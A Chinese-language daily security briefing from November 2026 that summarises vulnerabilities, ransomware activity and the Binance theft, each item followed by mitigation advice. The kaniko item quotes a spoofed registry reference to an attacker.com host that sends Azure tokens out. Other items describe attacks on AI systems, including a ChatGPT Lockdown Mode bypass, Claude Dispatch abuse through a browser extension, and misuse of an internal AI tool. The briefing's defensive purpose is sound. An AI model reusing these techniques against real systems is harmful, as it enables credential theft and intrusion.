安全情报日报 2026-11-07
01漏洞与在野利用
WordPress 升级竞态仍留 RCE 窗口
跟进 2026-11-05 报道（CVE-2026-119977 入 CISA KEV），Xint 与 NVD 补齐细节：WordPress Core 4.7 through 7.1.3 存在 TOCTOU 竞态，原因是 "predictable, web-accessible staging paths used during full-package core upgrades"，未认证攻击者可在升级窗口内执行代码；旧版更新器在未打补丁站点上仍会解包 7.1.4 的修复内容，窗口依旧存在。Wordfence 在公开披露后 21 小时内记录 "more than 18,500 requests targeting staged "setup-config.php" installer paths"，近 24 小时又拦截 12,632 次利用尝试；Previdian 蜜网 2026 年 10 月 30 日观测到来自英国 IP 的 3 次利用尝试。CISA 要求 FCEB 机构于 November 6, 2026 前完成修复。
暴露人群为全部未升级 WordPress Core 4.7-7.1.3 站点；升级窗口本身即攻击面，Wordfence 侧已观测到大规模在野扫描与利用尝试。
升级至 WordPress 7.1.4（NVD/厂商口径），并将升级动作视为敏感变更窗口：升级期间收紧对 staging 路径（如 setup-config.php）的公网访问、升级后立即核查站点文件完整性；美国联邦机构修复期限 November 6, 2026 已过，未达标者按 BOD 26-04 上报。
https://www.cyberkendra.com/2026/11/cve-2026-119977-wordpress-core-update-race-rce.html
ChatGPT 限制模式被绕过可静默窃取对话
安全研究人员披露一个现已修复的漏洞，可绕过 OpenAI ChatGPT 的 Lockdown Mode 防护；Lockdown Mode 于 June 2026 推出，用于降低 prompt injection 导致的数据外泄风险。研究称该缺陷可实现静默对话数据窃取与钓鱼。
暴露人群：启用 Lockdown Mode 的企业与个人 ChatGPT 用户——原本作为最后防线的设置被证明可绕过。确认后果：对话数据可无用户交互外泄。
确认 OpenAI 已推送的修复生效；对含敏感数据的会话降低第三方内容注入面（不打开不可信链接/文件）；关注 OpenAI 公告。
Kyverno 跨命名空间提权入 NVD 评 9.9
NVD 新收录 CVE-2026-122313（评分 9.9，published 2026-11-05）：Kyverno 1.17.0 至 1.19.2 之前的版本存在提权缺陷，NamespacedMutatingPolicy 的 targetMatchConstraints.expression CEL 输出缺少命名空间校验，命名空间级租户可改写其他命名空间的资源，例如指向另一租户的 RoleBinding，由集群级 background controller 代为变更。
暴露人群：多租户 Kubernetes 集群中使用 Kyverno NamespacedMutatingPolicy 的平台方。确认后果：租户可借策略输出越权修改他租户 RoleBinding，形成横向提权路径。
升级 Kyverno 至 1.19.2；临时收紧 NamespacedMutatingPolicy 的 CEL 输出校验与 background controller 权限；审计现有 RoleBinding 变更。
Windows Paint 只走商店更新才修 RCE
微软修复 CVE-2026-83844（Windows Paint 远程代码执行缺陷，越界读取，可让攻击者跨网络执行代码），但修复仅通过 Microsoft Store 分发，Windows Update 不会推送；修复构建版本 11.2609.401.0，为 The Hacker News 在十个国家检查到的最新 Paint 构建。
暴露人群：依赖 Windows Update 自动打补丁、未管理商店应用更新的终端与运维团队。确认后果：桌面画图软件成为网络侧代码执行入口，且常规补丁渠道覆盖不到。
把 Microsoft Store 应用（含 Paint）纳入更新管理基线，确认构建 11.2609.401.0；企业环境检查 Store 更新策略是否被禁用。
02供应链 / CI-CD
kaniko 会把 Azure 构建令牌发给仿冒镜像域
GHSA/NVD 披露 CVE-2026-105769（critical，CVSS 9.3）：chainguard-dev kaniko v1.25.20 之前依赖的 ACR 凭据助手 github.com/chrismellard/docker-credential-acr-env 用 "unanchored regular expression" 判定 ACR 域名——主机名只要包含 .azurecr.io、.azurecr.cn、.azurecr.de 或 .azurecr.us 即被接受。Dockerfile 引用仿冒主机（如 FROM x.azurecr.io.attacker.com/img 或 COPY --from）且该 registry 无凭据时，kaniko 会用构建身份的 Entra ID 令牌向 https://<host>/oauth2/exchange 发起 POST，把 Azure Resource Manager 作用域令牌送给攻击者；令牌在过期前可直接使用，还能兑换身份可访问的任意 ACR 凭据。无需 RUN 指令或 push。修复版本 1.25.20（chainguard-forks PR #495）。
暴露人群：用 kaniko 构建镜像、构建身份挂有 Azure 角色指派的 CI/CD 流水线。确认后果：一条 Dockerfile 里的仿冒 FROM 引用即可外发 ARM 作用域访问令牌，等同云凭据泄露；供应链注入与后续 ACR 拉取凭据均可被利用。
升级 kaniko 至 1.25.20；构建前静态检查 Dockerfile 中 registry 主机名与 .azurecr.io 变体；最小化构建身份（service principal/federated workload identity/managed identity）的 Azure 角色范围，并监控 /oauth2/exchange 异常出站。
03勒索软件与数据泄露
勒索团伙 n0n 近 7 天仍新增 36 名受害者
跟进 2026-10-26 报道（当时 7 天 46 家）：n0n 泄密站近 7 天发布 36 条帖子、涉及受害者 36 家，较上次口径回落，最新发现时间 2026-11-06；受害者样例含 Centrepoint、Chartboost LLC、Cogent Biosciences, Inc.。
暴露人群：被 n0n 盯上的中小企业与医疗/科技类机构（样例含 Cogent Biosciences）。确认后果：双重勒索泄密站持续公布受害者。
对照受害者名单行业与自身供应链排查暴露；备份与外联日志按勒索事件标准复核。
04攻击战术与技术
恶意浏览器扩展借 Claude Dispatch 在桌面执行代码
Forever Security 研究员演示：能在 claude.ai 页面运行脚本的恶意浏览器扩展，可借 Claude Desktop 的 Dispatch 功能（手机向桌面下发任务）让 Claude Desktop 在用户电脑上执行代码；该缺陷目前仍可被利用（尚未修复）。
暴露人群：安装未审查浏览器扩展、且启用 Claude Dispatch 连接手机与桌面端的使用者。确认后果：浏览器扩展脚本可升级为本机代码执行。
限制浏览器扩展安装来源、审查可注入 claude.ai 的扩展；暂不启用或收紧 Dispatch 手机下发任务链路；跟踪 Forever Security 与 Anthropic 后续披露。
05重大安全事件
Chainalysis 追踪币安被盗案资金链
Chainalysis 发布币安案调查（11 月 4 日亚洲时报刊发原文）：10 月 29 日约 4:20 p.m. ET 起资金流出 Binance hot wallets，涉案 US$6.4 billion。攻击入口是朝鲜（DPRK）雇佣欺诈剧本——9 月一名 Binance 工程师收到假面试邀请，经与虚构公司 "two rounds of interviews" 后下载含恶意代码的 interview assignment 失陷，攻击者随后 "deployed malware and exploited access to an internal AI tool" 深入内网。Chainalysis 过去 18 个月已把 "more than $14.3 million" 损失归因于同类假面试/恶意载荷投毒手法，称此前的小规模得手是在 "perfecting and evolving their methodology"，最终酿成 "the biggest heist in history"。Elliptic 11 月 6 日统计 $3.1B 被盗资产尚未清洗。
暴露人群为依赖热钱包的交易所与托管机构：私钥未泄露、仅凭员工终端+内部工具信任链即被盗跨链资金。已确认后果：约 $6.4 Billion 外流、同类朝鲜剧本累计另致 $14.3 million 以上损失；Elliptic 称大头 ETH/比特币尚未清洗，仍存在冻结窗口。
把招聘/面试环节当攻击面：禁止在个人终端运行来路不明的 "interview assignment"、对视频会议与作业文件做沙箱化处理；审计内部 AI 工具的越权调用路径；对照 Chainalysis 地址簇开展链上冻结协作，跟踪 $3.1B 未清洗资金的动向外溢。
https://www.chainalysis.com/blog/binance-exploit-latest-findings-and-response/ https://asiatimes.com/2026/11/north-korean-hackers-perfected-a-playbook-for-the-binance-heist/ https://decrypt.co/382711/3-1b-in-stolen-binance-crypto-has-yet-to-be-laundered-elliptic
SEAL 称币安遭入侵窗口长达 8 周
SEAL 复盘与币安口径经 Cointelegraph 对质后修正：Security Alliance 估计朝鲜关联黑客在 10 月 29 日 $6.3 billion 盗币前约八周已控制一名币安工程师设备（9 月假招聘得手），但币安发言人澄清整体攻击始于 June——6 月另一名员工安装 AI 编码工具时下载到被篡改的 Homebrew 安装介质即已失陷，设备虽更换并轮换凭据，攻击者已掌握钱包基础设施人员信息；直到 October 20 攻击者才借被控设备与内部 AI 工具横向拿下两名钱包基础设施工程师的设备并取得 deployment permission token。SEAL 点名 TraderTraitor 2026 年至少四个假招聘壳公司 citalab.net、citalab.com、bitfit.io、oddium.io，并给出同类潜伏周期：Bitget hack 约六周（$388 million）、Kelp DAO 漏洞前 LayerZero 约六周（$293 million）、AFX 约三周（$24 million）。FBI 周六报告归因 TraderTraitor。
暴露人群为拥有钱包运营/签名基础设施的交易所与托管方：被盗不需要私钥，长周期潜伏+内部工具信任链即可完成。确认后果：币安 10 月 29 日热钱包被跨链抽干约 $6.3B，同类模式已在 Bitget、Kelp DAO、AFX 等案复现。
以"周级潜伏"为假设复核：重点排查招聘/开源渠道引入的初始落点（如被篡改的 Homebrew 安装脚本）、比对 October 20 式横向移动痕迹（新出现的凭据使用与 deployment token 签发）；将 SEAL 点名的壳公司域名加入威胁情报阻断清单；跟进 FBI 与 SEAL 报告更新。
https://cointelegraph.com/news/binance-hackers-8-weeks-access-63b-exploit-security-alliance?utm_source=rss_feed&utm_medium=rss&utm_campaign=rss_part https://cointelegraph.com/news/binance-hackers-8-weeks-access-63b-exploit-security-alliance
06区块链基础设施
Trail of Bits 提醒排查签名系统授权面
Trail of Bits 以币安 2026 年 10 月事件为引发布署名系统风险清单：只监控转账与所有权变更的组织，可能要到资产移动才发现钱包授权被改。文中复述 Binance 首份通报（失陷 DevOps 笔记本接入 service container 提交未授权提币）与 11 月 3 日报告（涉及社工、内部 AI 工具滥用、凭据窃取及未授权访问钱包签名）。
暴露人群：持有用户资金、依赖签名/授权系统的交易所与托管机构。确认后果：有效签名可能直接授予攻击者钱包权限，常规监控存在盲区。
盘点签名系统可批准的权限类型，把"钱包授权变更"纳入独立告警；核查 DevOps 终端与内部 AI 工具的信任边界；对照文中清单逐项自查。
https://blog.trailofbits.com/2026/11/06/after-binance-check-what-your-signing-systems-can-approve/